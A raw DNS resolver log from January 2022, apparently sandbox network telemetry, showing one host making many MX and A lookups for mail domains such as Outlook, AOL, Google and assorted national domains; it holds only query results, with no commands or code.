Jan 7, 2022 15:43:02.263765097 CET	8.8.8.8	192.168.2.6	0xc411	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.263765097 CET	8.8.8.8	192.168.2.6	0xc411	No error (0)	msn-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.358717918 CET	8.8.8.8	192.168.2.6	0x8e97	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.358717918 CET	8.8.8.8	192.168.2.6	0x8e97	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.358717918 CET	8.8.8.8	192.168.2.6	0x8e97	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.377685070 CET	8.8.8.8	192.168.2.6	0x4da7	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.398866892 CET	8.8.8.8	192.168.2.6	0x56bb	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.420101881 CET	8.8.8.8	192.168.2.6	0x46d1	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.561100006 CET	8.8.8.8	192.168.2.6	0x63b3	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.582128048 CET	8.8.8.8	192.168.2.6	0x5526	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.742088079 CET	8.8.8.8	192.168.2.6	0x545f	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.813196898 CET	8.8.8.8	192.168.2.6	0x88c9	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.834284067 CET	8.8.8.8	192.168.2.6	0x26e9	No error (0)	msn-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.834284067 CET	8.8.8.8	192.168.2.6	0x26e9	No error (0)	msn-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.877178907 CET	8.8.8.8	192.168.2.6	0xc69f	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:02.898269892 CET	8.8.8.8	192.168.2.6	0x68b	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:02.898269892 CET	8.8.8.8	192.168.2.6	0x68b	No error (0)	msn-com.olc.protection.outlook.com		104.47.73.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.049392939 CET	8.8.8.8	192.168.2.6	0x370	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:03.072959900 CET	8.8.8.8	192.168.2.6	0x652d	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.072959900 CET	8.8.8.8	192.168.2.6	0x652d	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.072959900 CET	8.8.8.8	192.168.2.6	0x652d	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.072959900 CET	8.8.8.8	192.168.2.6	0x652d	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.072959900 CET	8.8.8.8	192.168.2.6	0x652d	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.072959900 CET	8.8.8.8	192.168.2.6	0x652d	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:03.190459967 CET	8.8.8.8	192.168.2.6	0xdcd3	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:04.294063091 CET	8.8.8.8	192.168.2.6	0xe440	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:04.294063091 CET	8.8.8.8	192.168.2.6	0xe440	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:04.449450970 CET	8.8.8.8	192.168.2.6	0xdf81	No error (0)	mxa-0028be01.gslb.pphosted.com		148.163.152.255	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:04.470519066 CET	8.8.8.8	192.168.2.6	0x9d86	No error (0)	mxb-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:05.456799984 CET	8.8.8.8	192.168.2.6	0x3bda	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:05.673825026 CET	8.8.8.8	192.168.2.6	0xcf24	Name error (3)	animo.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:06.123943090 CET	8.8.8.8	192.168.2.6	0xfe20	Name error (3)	pirajui.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:06.559441090 CET	8.8.8.8	192.168.2.6	0x1972	No error (0)	contoso.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.552047968 CET	8.8.8.8	192.168.2.6	0xdb2	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.552047968 CET	8.8.8.8	192.168.2.6	0xdb2	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.552047968 CET	8.8.8.8	192.168.2.6	0xdb2	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.552047968 CET	8.8.8.8	192.168.2.6	0xdb2	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.552047968 CET	8.8.8.8	192.168.2.6	0xdb2	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:11.595856905 CET	8.8.8.8	192.168.2.6	0x59c9	No error (0)	aspmx.l.google.com		108.177.96.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.615453959 CET	8.8.8.8	192.168.2.6	0xb1eb	No error (0)	aspmx2.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.644977093 CET	8.8.8.8	192.168.2.6	0x53ba	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.665970087 CET	8.8.8.8	192.168.2.6	0x88b4	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:11.684942961 CET	8.8.8.8	192.168.2.6	0xf526	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:12.680766106 CET	8.8.8.8	192.168.2.6	0xe77f	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:12.680766106 CET	8.8.8.8	192.168.2.6	0xe77f	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:12.721050024 CET	8.8.8.8	192.168.2.6	0x3f4	No error (0)	mx1.mailchannels.net		34.215.215.23	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:12.721050024 CET	8.8.8.8	192.168.2.6	0x3f4	No error (0)	mx1.mailchannels.net		34.223.157.177	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:12.744549990 CET	8.8.8.8	192.168.2.6	0x5a82	No error (0)	mx2.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:12.744549990 CET	8.8.8.8	192.168.2.6	0x5a82	No error (0)	mx2.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:13.095148087 CET	8.8.8.8	192.168.2.6	0xe457	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:16.399806976 CET	8.8.8.8	192.168.2.6	0x3f70	Name error (3)	x.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:16.792947054 CET	8.8.8.8	192.168.2.6	0x8d99	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:17.257046938 CET	8.8.8.8	192.168.2.6	0x3fed	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:17.519082069 CET	8.8.8.8	192.168.2.6	0x5da2	Name error (3)	kywx.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.967026949 CET	8.8.8.8	192.168.2.6	0x579d	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.974780083 CET	8.8.8.8	192.168.2.6	0xd7b4	No error (0)	aol.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:18.993216038 CET	8.8.8.8	192.168.2.6	0x7d46	No error (0)	msn-com.olc.protection.outlook.com		104.47.51.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.993216038 CET	8.8.8.8	192.168.2.6	0x7d46	No error (0)	msn-com.olc.protection.outlook.com		104.47.57.33	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.999150038 CET	8.8.8.8	192.168.2.6	0xf366	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.93	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.999150038 CET	8.8.8.8	192.168.2.6	0xf366	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.80	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.999150038 CET	8.8.8.8	192.168.2.6	0xf366	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.999150038 CET	8.8.8.8	192.168.2.6	0xf366	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.84	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.999150038 CET	8.8.8.8	192.168.2.6	0xf366	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:18.999150038 CET	8.8.8.8	192.168.2.6	0xf366	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.228.86	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.392472029 CET	8.8.8.8	192.168.2.6	0x9cc3	Name error (3)	griepp.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.445147038 CET	8.8.8.8	192.168.2.6	0xa2fc	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.445147038 CET	8.8.8.8	192.168.2.6	0xa2fc	No error (0)	wxyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.446434021 CET	8.8.8.8	192.168.2.6	0xba49	Name error (3)	pirajui.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.448276043 CET	8.8.8.8	192.168.2.6	0x79a4	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.448276043 CET	8.8.8.8	192.168.2.6	0x79a4	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.448276043 CET	8.8.8.8	192.168.2.6	0x79a4	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.448276043 CET	8.8.8.8	192.168.2.6	0x79a4	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.448276043 CET	8.8.8.8	192.168.2.6	0x79a4	No error (0)	xyz.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.452931881 CET	8.8.8.8	192.168.2.6	0x52fa	Name error (3)	quatro.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.453398943 CET	8.8.8.8	192.168.2.6	0xf680	Name error (3)	animo.br	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.471607924 CET	8.8.8.8	192.168.2.6	0xa81a	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.471607924 CET	8.8.8.8	192.168.2.6	0xa81a	No error (0)	xyz.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.472902060 CET	8.8.8.8	192.168.2.6	0xb89d	No error (0)	aspmx.l.google.com		142.251.31.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.479402065 CET	8.8.8.8	192.168.2.6	0x2dce	No error (0)	contoso.com.br			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.493465900 CET	8.8.8.8	192.168.2.6	0x438c	No error (0)	mx2.mailchannels.net		34.223.157.177	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.493465900 CET	8.8.8.8	192.168.2.6	0x438c	No error (0)	mx2.mailchannels.net		34.215.215.23	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.499631882 CET	8.8.8.8	192.168.2.6	0x9957	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.502331018 CET	8.8.8.8	192.168.2.6	0x8c70	Name error (3)	x.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.503637075 CET	8.8.8.8	192.168.2.6	0x4	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.517237902 CET	8.8.8.8	192.168.2.6	0x2d0e	No error (0)	mx1.mailchannels.net		35.82.253.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.517237902 CET	8.8.8.8	192.168.2.6	0x2d0e	No error (0)	mx1.mailchannels.net		44.239.72.13	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.523623943 CET	8.8.8.8	192.168.2.6	0xa87b	No error (0)	aspmx3.googlemail.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.544104099 CET	8.8.8.8	192.168.2.6	0x9a75	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.553174019 CET	8.8.8.8	192.168.2.6	0xe683	Name error (3)	contoso.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.563334942 CET	8.8.8.8	192.168.2.6	0xbb86	No error (0)	alt2.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.583282948 CET	8.8.8.8	192.168.2.6	0xa1b5	Name error (3)	kywx.com.pt	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.601183891 CET	8.8.8.8	192.168.2.6	0x7da7	Name error (3)	griepp.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.613576889 CET	8.8.8.8	192.168.2.6	0xeb62	Name error (3)	wewew.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.619029999 CET	8.8.8.8	192.168.2.6	0x4d27	No error (0)	mxa-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.633722067 CET	8.8.8.8	192.168.2.6	0xaff0	No error (0)	oopp.pl			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.640120029 CET	8.8.8.8	192.168.2.6	0xf382	No error (0)	mxb-0028be01.gslb.pphosted.com		148.163.149.218	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.652105093 CET	8.8.8.8	192.168.2.6	0x3ab1	No error (0)	oopp.pl		94.152.34.135	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.653446913 CET	8.8.8.8	192.168.2.6	0x7f10	Name error (3)	fafa.pk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.655121088 CET	8.8.8.8	192.168.2.6	0xa28a	Name error (3)	riekk.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.693680048 CET	8.8.8.8	192.168.2.6	0xf5bf	Name error (3)	lufka.zx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.721470118 CET	8.8.8.8	192.168.2.6	0x5580	Server failure (2)	xara.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.738574982 CET	8.8.8.8	192.168.2.6	0x2101	Name error (3)	fanfary.pq	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.754286051 CET	8.8.8.8	192.168.2.6	0xd2b6	Name error (3)	fajrant.qz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.769460917 CET	8.8.8.8	192.168.2.6	0x4b59	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.799297094 CET	8.8.8.8	192.168.2.6	0x6ec2	No error (0)	contoso-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.799297094 CET	8.8.8.8	192.168.2.6	0x6ec2	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:19.800513983 CET	8.8.8.8	192.168.2.6	0x5f95	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:19.821096897 CET	8.8.8.8	192.168.2.6	0xbf26	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.407399893 CET	8.8.8.8	192.168.2.6	0x2b9f	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.457793951 CET	8.8.8.8	192.168.2.6	0x684e	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.464194059 CET	8.8.8.8	192.168.2.6	0xd728	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.680068970 CET	8.8.8.8	192.168.2.6	0xb753	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.680068970 CET	8.8.8.8	192.168.2.6	0xb753	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.680068970 CET	8.8.8.8	192.168.2.6	0xb753	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.680068970 CET	8.8.8.8	192.168.2.6	0xb753	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.680068970 CET	8.8.8.8	192.168.2.6	0xb753	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:20.710258007 CET	8.8.8.8	192.168.2.6	0xf807	No error (0)	aspmx4.googlemail.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.752810001 CET	8.8.8.8	192.168.2.6	0x8f6c	No error (0)	aspmx2.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.795383930 CET	8.8.8.8	192.168.2.6	0x6db6	No error (0)	alt1.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.827868938 CET	8.8.8.8	192.168.2.6	0xccd6	No error (0)	aspmx5.googlemail.com		173.194.202.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.857055902 CET	8.8.8.8	192.168.2.6	0xdbaf	No error (0)	aspmx.l.google.com		142.250.145.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:20.895095110 CET	8.8.8.8	192.168.2.6	0xb8bf	Name error (3)	contoso.mx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:22.376982927 CET	8.8.8.8	192.168.2.6	0xbf85	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:22.405134916 CET	8.8.8.8	192.168.2.6	0xe708	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:22.405134916 CET	8.8.8.8	192.168.2.6	0xe708	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:23.147618055 CET	8.8.8.8	192.168.2.6	0xea2a	No error (0)	litwareinc.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:23.169186115 CET	8.8.8.8	192.168.2.6	0x8f46	No error (0)	smtp.litwareinc.com		96.47.154.206	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:24.113816977 CET	8.8.8.8	192.168.2.6	0x6e44	No error (0)	oopp.pl			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:24.135274887 CET	8.8.8.8	192.168.2.6	0x2848	No error (0)	oopp.pl		94.152.34.135	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:25.220788956 CET	8.8.8.8	192.168.2.6	0x382c	Name error (3)	wewew.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:25.393148899 CET	8.8.8.8	192.168.2.6	0x26	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:25.417416096 CET	8.8.8.8	192.168.2.6	0xf89a	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:25.417416096 CET	8.8.8.8	192.168.2.6	0xf89a	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:25.855621099 CET	8.8.8.8	192.168.2.6	0xacdd	Name error (3)	riekk.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:26.403340101 CET	8.8.8.8	192.168.2.6	0x24a5	Name error (3)	fafa.pk	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:27.281732082 CET	8.8.8.8	192.168.2.6	0xdb6d	Server failure (2)	xara.pl	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:28.130152941 CET	8.8.8.8	192.168.2.6	0x2ce3	Name error (3)	lufka.zx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:29.380008936 CET	8.8.8.8	192.168.2.6	0x7909	Name error (3)	fanfary.pq	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:29.558919907 CET	8.8.8.8	192.168.2.6	0x9885	No error (0)	www2.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:30.576371908 CET	8.8.8.8	192.168.2.6	0x5455	Name error (3)	fajrant.qz	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:31.822283030 CET	8.8.8.8	192.168.2.6	0x16b8	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:31.881422043 CET	8.8.8.8	192.168.2.6	0x3f78	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:31.881422043 CET	8.8.8.8	192.168.2.6	0x3f78	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:37.172574997 CET	8.8.8.8	192.168.2.6	0xc8ae	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:37.195527077 CET	8.8.8.8	192.168.2.6	0xc11	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:38.899719954 CET	8.8.8.8	192.168.2.6	0x6037	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:38.920679092 CET	8.8.8.8	192.168.2.6	0xb421	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:38.920679092 CET	8.8.8.8	192.168.2.6	0xb421	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:39.552079916 CET	8.8.8.8	192.168.2.6	0x4224	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:39.576306105 CET	8.8.8.8	192.168.2.6	0x6ef8	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.231415033 CET	8.8.8.8	192.168.2.6	0x2ac7	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.231415033 CET	8.8.8.8	192.168.2.6	0x2ac7	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.231415033 CET	8.8.8.8	192.168.2.6	0x2ac7	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.231415033 CET	8.8.8.8	192.168.2.6	0x2ac7	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.231415033 CET	8.8.8.8	192.168.2.6	0x2ac7	No error (0)	contoso.es			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.256747961 CET	8.8.8.8	192.168.2.6	0xf220	No error (0)	alt1.aspmx.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.322357893 CET	8.8.8.8	192.168.2.6	0x1959	No error (0)	aspmx4.googlemail.com		142.250.157.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.381088972 CET	8.8.8.8	192.168.2.6	0x6193	No error (0)	aspmx2.googlemail.com		142.250.150.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.402348995 CET	8.8.8.8	192.168.2.6	0x7a3	No error (0)	aspmx5.googlemail.com		173.194.202.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.426695108 CET	8.8.8.8	192.168.2.6	0x758	No error (0)	aspmx.l.google.com		173.194.79.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.440916061 CET	8.8.8.8	192.168.2.6	0x528e	Name error (3)	contoso.mx	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.919116974 CET	8.8.8.8	192.168.2.6	0x7170	No error (0)	contoso.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:40.944217920 CET	8.8.8.8	192.168.2.6	0x1ab7	No error (0)	contoso-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:40.944217920 CET	8.8.8.8	192.168.2.6	0x1ab7	No error (0)	contoso-com.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:41.648205042 CET	8.8.8.8	192.168.2.6	0x6661	No error (0)	adatum.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:41.668318987 CET	8.8.8.8	192.168.2.6	0x5cf	No error (0)	mail.adatum.com		131.107.88.24	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:41.724622011 CET	8.8.8.8	192.168.2.6	0x9b5d	No error (0)	fabrikam.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:41.777298927 CET	8.8.8.8	192.168.2.6	0xded5	No error (0)	mail.fabrikam.com		131.107.55.31	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:42.218291044 CET	8.8.8.8	192.168.2.6	0x437b	Name error (3)	negdje.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.258280993 CET	8.8.8.8	192.168.2.6	0xe37e	Name error (3)	abcdef.hr	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.287950039 CET	8.8.8.8	192.168.2.6	0x851b	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.287950039 CET	8.8.8.8	192.168.2.6	0x851b	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.287950039 CET	8.8.8.8	192.168.2.6	0x851b	No error (0)	vlada.hr			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:43:42.341721058 CET	8.8.8.8	192.168.2.6	0xf343	No error (0)	mail.vlada.hr		195.29.173.131	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:42.385498047 CET	8.8.8.8	192.168.2.6	0xd450	No error (0)	ma-01.vlada.hr		195.29.173.138	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:42.445426941 CET	8.8.8.8	192.168.2.6	0x93d2	No error (0)	ma-02.vlada.hr		195.29.173.139	A (IP address)	IN (0x0001)
Jan 7, 2022 15:43:43.148037910 CET	8.8.8.8	192.168.2.6	0x989a	Name error (3)	netko.hr	none	none	MX (Mail exchange)	IN (0x0001)
